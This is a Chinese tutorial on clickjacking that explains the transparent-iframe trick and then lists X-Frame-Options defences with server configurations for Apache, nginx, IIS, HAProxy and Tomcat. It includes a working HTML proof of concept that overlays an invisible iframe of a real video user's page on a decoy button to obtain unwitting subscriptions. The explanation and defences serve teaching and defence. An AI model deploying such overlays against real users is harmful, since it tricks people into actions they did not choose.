原理解释

点击劫持,clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。

它是通过覆盖不可见的框架误导受害者点击。

虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。

这种攻击利用了HTML中<iframe>标签的透明属性。

就像一张图片上面铺了一层透明的纸一样,你看到的是黑客的页面,但是其实这个页面只是在底部,而你真正点击的是被黑客透明化的另一个网页。一个简单的点击劫持例子,就是当你点击了一个不明链接之后,自动关注了某一个人的博客或者订阅了视频。

假如我在优酷发布了很多视频,想让更多的人关注它,于是我们准备了一个页面:

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 270px;
left: 1150px;
z-index: 1;
width: 90px;
height:40px;
}
</style>
</head>
<body>
<button>美女图片</button>
<img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"></iframe>
</body>
</html>

当然真正的页面肯定会更精致一些,不会这么简陋。

然而这个页面只是表象而已,我们把iframe的透明度改成0.3以后再看看

当你点击按钮以后,真正的点击的其实是隐藏的那个页面的订阅按钮,然后就会在你不知情的情况下订阅了

当然点击劫持的危害可大可小,并不仅仅是关注订阅之类的东西,但是原理类似。

解决方案

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在 <frame>, </iframe> 或者 <object> 中展现的标记。网站可以使用此功能,来确保自己网站的内容没有被嵌套到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。

X-Frame-Options三个参数:

1、DENY

表示该页面不允许在frame中展示,即便是在相同域名的页面中嵌套也不允许。

2、SAMEORIGIN

表示该页面可以在相同域名页面的frame中展示。

3、ALLOW-FROM uri

表示该页面可以在指定来源的frame中展示。

换一句话说,如果设置为DENY,不光在别人的网站frame嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为SAMEORIGIN,那么页面就可以在同域名页面的frame中嵌套。正常情况下我们通常使用SAMEORIGIN参数。

Apache配置

需要把下面这行添加到 'site' 的配置中

Header always append X-Frame-Options SAMEORIGIN

nginx配置

需要添加到 ‘http’, ‘server’ 或者 ‘location’ 的配置项中,个人来讲喜欢配置在‘server’ 中

正常情况下都是使用SAMEORIGIN参数,允许同域嵌套

add_header X-Frame-Options SAMEORIGIN;

允许单个域名iframe嵌套

add_header X-Frame-Options ALLOW-FROM http://whsir.com/;

允许多个域名iframe嵌套,注意这里是用逗号分隔

add_header X-Frame-Options "ALLOW-FROM http://whsir.com/,https://cacti.org.cn/";

IIS配置

添加下面的配置到 ‘Web.config’文件中

<system.webServer>...<httpProtocol><customHeaders><add name="X-Frame-Options" value="SAMEORIGIN" /></customHeaders></httpProtocol>...
</system.webServer>

HAProxy配置

添加下面这行到 ‘front-end, listen, or backend’配置中

rspadd X-Frame-Options:\ SAMEORIGIN

Tomcat配置

在 ‘conf/web.xml’填加以下配置

<filter><filter-name>httpHeaderSecurity</filter-name><filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class><init-param><param-name>antiClickJackingOption</param-name><param-value>SAMEORIGIN</param-value></init-param><async-supported>true</async-supported></filter>
<filter-mapping><filter-name>httpHeaderSecurity</filter-name><url-pattern>/*</url-pattern><dispatcher>REQUEST</dispatcher><dispatcher>FORWARD</dispatcher>
</filter-mapping>

配置后如何确定X-Frame-Options是否已生效呢?我这里以Google浏览器为例,打开网站按F12键,选择Network,找到对应的Headers,如下图所示

web 点击劫持 X-Frame-Options相关推荐

  1. Web安全之点击劫持

    Web安全之点击劫持文章,原文链接:http://www.cnblogs.com/lovesong/p/5248483.html Web安全之点击劫持(ClickJacking) 点击劫持(Click ...

  2. html 设置响应X-frame,X-Frame-Options(点击劫持)漏洞分析及web配置修复

    漏洞描述: 点击劫持(ClickJacking)是一种视觉上的欺骗手段.攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的ifram ...

  3. Web安全之点击劫持(ClickJacking)

    目录 iframe覆盖 直接示例说明 解决办法 Apache配置: nginx配置: IIS配置: 图片覆盖 示例 解决办法 总结 点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两 ...

  4. 【Web安全】点击劫持 Click Jacking

    1.什么是点击劫持 点击劫持是一种视觉上的欺骗手段.攻击者用一个透明的.不可见的iframe,覆盖在一个网页上,诱使用户在该网页上进行操作,使用户在不知情的情况下点击透明的iframe页面.通过调整i ...

  5. 《白帽子讲web安全》第5章 点击劫持(ClickJacking)

    一.ClickJacking简介 点击劫持(ClickJacking):是一种视觉上的欺骗手段,攻击者使用一个透明的.不可见的iframe覆盖在网页上,并诱使用户在该网页上进行操作.(用户在不知情的情 ...

  6. web安全之点击劫持攻击(clickjack)

    点击劫持clickjack 点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack ),是一种视觉上的欺骗手段.攻击者使用一个或多个透明的 iframe ...

  7. WEB安全基础-点击劫持漏洞基础

    点击劫持漏洞 点击劫持:一个其他的网站,用iframe标签,<iframe src="http://xxx.xxx.xxx"></ifame> <st ...

  8. 网易云课堂web安全学习第七天——了解点击劫持

    第一 什么是点击劫持 通过覆盖不可见的框架误导受害者点击而造成的攻击行为 特点:隐蔽性高        骗取用户操作    UI-覆盖攻击 利用iframe或者其他标签的属性 第二 他是如何实现的 & ...

  9. iframe优缺点、X-Frame-Options(如何防止点击劫持、设置页面是否能作为iframe嵌套)、iframe长轮询和应用场景

    目录 iframe优缺点 优点 缺点 为什么尽量少用iframe iframes阻塞页面加载,影响网页加载速度 唯一的连接池 解决 iframe应用场景 iframe长轮询 iframe跨域使用 防嵌 ...

最新文章

  1. VirtualBox安装Fedora文件共享
  2. Creating UIImage with renderingMode in Swift
  3. 【ubuntu-qt-dlib】 配置问题 (二) terminate called after throwing an instance of 'dlib::image_load_error'
  4. 本地无法启动MySQL服务,报的错误:1067,进程意外终止---解决
  5. JavaFX 2.0布局窗格– FlowPane和TilePane
  6. jsp页面c标签循环map , c:foreach 循环map
  7. Hyperledger Fabric 2.2.1 区块链问题汇总(持续更新)
  8. PyTorch 1.0 中文文档:多进程最佳实践
  9. 关于ISA2006引起网速慢或间歇性断网的问题的解决方法
  10. 【ArcGIS|空间分析|网络分析】0 网络分析总结
  11. html微博换头像,手机新浪微博头像怎么设置 手机新浪微博更换头像教程
  12. NLP入门(七)中文预处理之繁简体转换及获取拼音
  13. 获取网页视频,日常下载工具推荐——XDM
  14. MATLAB画一个球
  15. NOI2018 冒泡排序规律证明
  16. CAN总线CSV格式报文转ASC格式报文
  17. Adversarial Learning
  18. 【FlaskMySQL】Flask连接数据库MySQL(十)
  19. Canvas transform浅析
  20. MATLAN图像处理之盲去卷积

热门文章

  1. EdgeGallery — MECM — 系统架构
  2. Linux_NFS/Samba服务器
  3. Notepadd++主题推荐
  4. css实战笔记(一):写网页前的reset工作
  5. ajax和promise的结合使用
  6. python基础---函数
  7. 每次都觉得很神奇的JS
  8. DBA工具——DMV——通过sys.dm_exec_procedure_stats查看存储过程执行信息
  9. UINavigationController 返回到各级目录
  10. Go 语言——Tensorflow